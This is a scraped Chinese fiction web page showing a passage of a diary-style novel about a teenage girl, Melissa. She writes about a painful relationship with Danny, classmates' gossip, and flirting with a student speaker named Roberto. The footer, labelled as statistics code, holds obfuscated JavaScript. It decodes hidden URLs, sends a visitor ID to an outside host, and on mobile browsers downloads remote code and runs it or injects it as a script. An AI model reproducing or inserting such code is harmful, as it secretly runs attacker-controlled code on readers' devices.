    我埋葬所有的浪漫幻想,不再焦躁不安地等着他的电话,也不必紧张兮兮地等他夸赞我,甚至任由他取笑我和我的身体。
    我也不必再对妈妈妈撒谎了,她自己成天在外面鬼混,却天天都要问我去了哪里。以前,我编过各种理由打发她:在市中心喝啤酒、看电影、看舞台剧……
    每天睡觉以前,我会一厢情愿的遐想着:假如他此时此刻就在这里,他会对我做什幺……
    我的生活应该更有趣才对,我应该认识更多人,我的生命里不该只有学校、家里以及丹尼。
    现在,我要的是有趣的生活,不管等多久,总有一天,我会遇见一个真正对我梅丽莎这个人感兴趣的男人。
    或许,孤独正在慢慢摧残着我,但我不会被吓倒的!
    我应该是我自己最好的朋友,我不会魅惑自己,更不会放弃自己!
    然而,我或许会伤害自己,说不定我正在作践自己。这一点都不好玩,我只想借此惩罚自己。
    但是,像我这样一个人,怎幺能够同时疼爱自己却又惩罚自己呢?
    这是天大的矛盾,我知道的,亲爱的日记。
    只是,爱与恨是如此接近,宛如共犯一般,在我体内狼狈为奸……

2001年 7月7日 午夜12:38
    我今天又和他见了面,他再一次践踏了我的感情。
    我衷心希望,这是最后一次。
    从开始到结束,都如往常那样。
    亲爱的日记,我是个大笨蛋!
    我不应该再让他接近我的……

2001年 8月5日
    一切都结束了,永远终结。
    说真的,我很高兴,我的生命不但并未就此结束,反而重新获得新生呢。

2001年 9月11日
    或许,丹尼此刻正在看电视,而且,说不定就是我正在看的同一个节目呢……
2001年 9月28日 9:10
    学校不久前开学,才过了没几天,就已经有人在谈论罢课、游行和学生代表大会,诉求大同小异,搞来搞去,还不就是那一套。
    我可以想像两派人马涨红了脸互相叫阵的样子。
    再过去几个小时,今年度第一次学生代表大会几要上场了,这次的主题是“全球化”。
    此刻,我正坐在教室里,给我们上课的是个代课老师。
    在我后面那几个女生,叽叽喳喳地正在聊着今天将莅临学生代表大会的特别来宾。据说,他长得非常帅,具备天使般的俊秀面孔,加上装满聪明睿智的脑袋;其中一个女生说,管他脑袋多聪明,她只在乎他那张天使般的面孔,其他女生听了哈哈大笑,玩闹成一团。
    正在聊天的这几个女生,几个月前也是这样在我背后讲我闲话,她们说我跟一个不是男朋友的男生上床。我原本很信任她们其中一个,所以,我把丹尼的事都跟她说了,当时她还假惺惺地抱了我,嘴里直说:“你好可怜喔!”
    “为什幺?难道你不想跟这样的人上床吗?”那个欺骗我友谊的女生问道。
    “才不呢,我会霸王硬上弓,强暴他!”有个女生答道。此话一出,又是一阵笑闹。
    “那你哩,梅丽莎?”她问我,“你会怎幺做?”
    我回过头去告诉她们,我不认识这个人,不想和他有什幺瓜葛。
    我听见她们正窃窃讪笑,接着是恣意狂笑,夹杂着余音回荡的钟声,这堂课就这样结束了。

2001年 9月28日 16:35
    为了学生代表大会而搭建的讲台上,我没去注意有什幺封印之类的,甚至连麦当劳的赞助商广告都忽略掉了,亏我还被选为活动报导的撰稿人呢。
    我坐的位置正好在长桌正中央,意见相左的两派代表们则分坐在我两旁。那个有天使般面孔的男生恰好就坐在我身旁,只见他嘴里咬着圆珠笔啃个不停,一副吊儿郎当的样子。当两派人马激烈舌战的同时,我全神贯注的焦点却是他嘴里咬着的蓝色圆珠笔。
    “请把我的名字列在演讲者的名单中!”
    他说道,然后低头看着手上的资料。
    “请问你贵姓大名?”
    我一本正经地问道。
    “我叫罗贝多。”
    他总算抬起头来看我,心里一定很惊讶,我居然有眼不识泰山。
    他起身发表演说,他的演讲措辞强而有力,台下观众振奋不已。
    我静静凝视着他把玩在手中的圆珠笔和麦克风。
    听众们都很捧场,总会在适当的时刻回应他那充满嘲讽的幽默感。
    他一定是念法律的学生,我心里暗想着,要不然口才怎幺会这幺好。
    我发现,他偶尔会转过头来看我,虽然有点邪念,但完全不像是有恶意的样子。
    我解开衬衫纽扣,从脖子到乳沟,毫无遮掩。
    或许,他已经察觉我解开纽扣的动作,因为,他回头看我次数更频繁了,脸上的表情既好奇又别扭,有好几次,他甚至不避嫌的定定望着我。
    至少,我的感觉是这样的。
    演讲结束,他坐下来,立刻又把圆珠笔往嘴里塞,完全不把听众给他的热烈掌声当一回事儿。
    过了一会儿,他转过头来看着正在写大会报导的我,说道:
    “我忘了你的名字了。”
    我心情正好,干脆就跟他玩玩吧。
    “我还没告诉你我叫什幺名字呢!”我说。
    他微微抬起头,说道:
    “喔,是啊!”
    话一说完,他继续低头看资料,我则是忍不住一直微笑,心里乐得很,原来他是想知道我叫什幺名字啊!
    “难道你不愿意告诉我你的芳名吗?”
    他问道,眼睛直盯着我的脸看。
    我开心地笑着:
    “我叫梅丽莎。”
    “喔,你的名字跟小蜜蜂一样呢。你喜欢蜜蜂吗?”
    “嗯,太甜了。”我答道。“我比较喜欢浓烈的味道。”
    他笑着摇摇头,接着,我们各自低头振笔疾书。
    没多久,他起身到一旁去抽烟,只见他一直笑个不停,和另一个长得很帅的男生有说有笑的,他偶尔转过头来看我,笑眯眯地叼着烟。
    站在远处的他,看起来甚至更清瘦了,一头看起来好柔软的铜褐色卷发,轻盈地挂在脸颊两旁。
    他整个人靠在柱子上,一只手始终塞在长裤口袋里,绿色大格子衬衫没塞进去,一副邋遢样儿,圆形框的眼镜倒是很符合他的书生形象。
    至于他那个朋友,我好几次看见他在校门口发传单。他嘴上总是叼着雪茄,不管有没有点燃。
    学生代表大会结束了,我正忙着收拾桌上的活动资料时,罗贝多过来了,他向我伸出手,脸上挂着灿烂的笑容。
    “咱们下次见啦,伙伴!”
    我忍不住扑哧一笑,然后,我向他坦承,我很喜欢他用“伙伴”这个字眼称呼我,满好玩的。
    “喂喂喂,原来你还在这里聊天啊?你没看见学生大会已经结束了吗?”
    大会副主席一边嚷嚷,一边热情地伸出手来。
    我今天好快乐啊!我认识了一个个性开朗的人,希望事情不会就这样结束了。
    你也知道的,亲爱的日记,凡是我想得到的,我都会很坚持的。
    现在,我最想要的是他的电话号码,我有把握,我一定会得手的!
    弄到他的电话号码以后,你应该知道我想要的是什幺吧?
    我要在他脑海里占有一席之地!
    但在此之前,我应该付出什幺,你大概也知道吧……


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};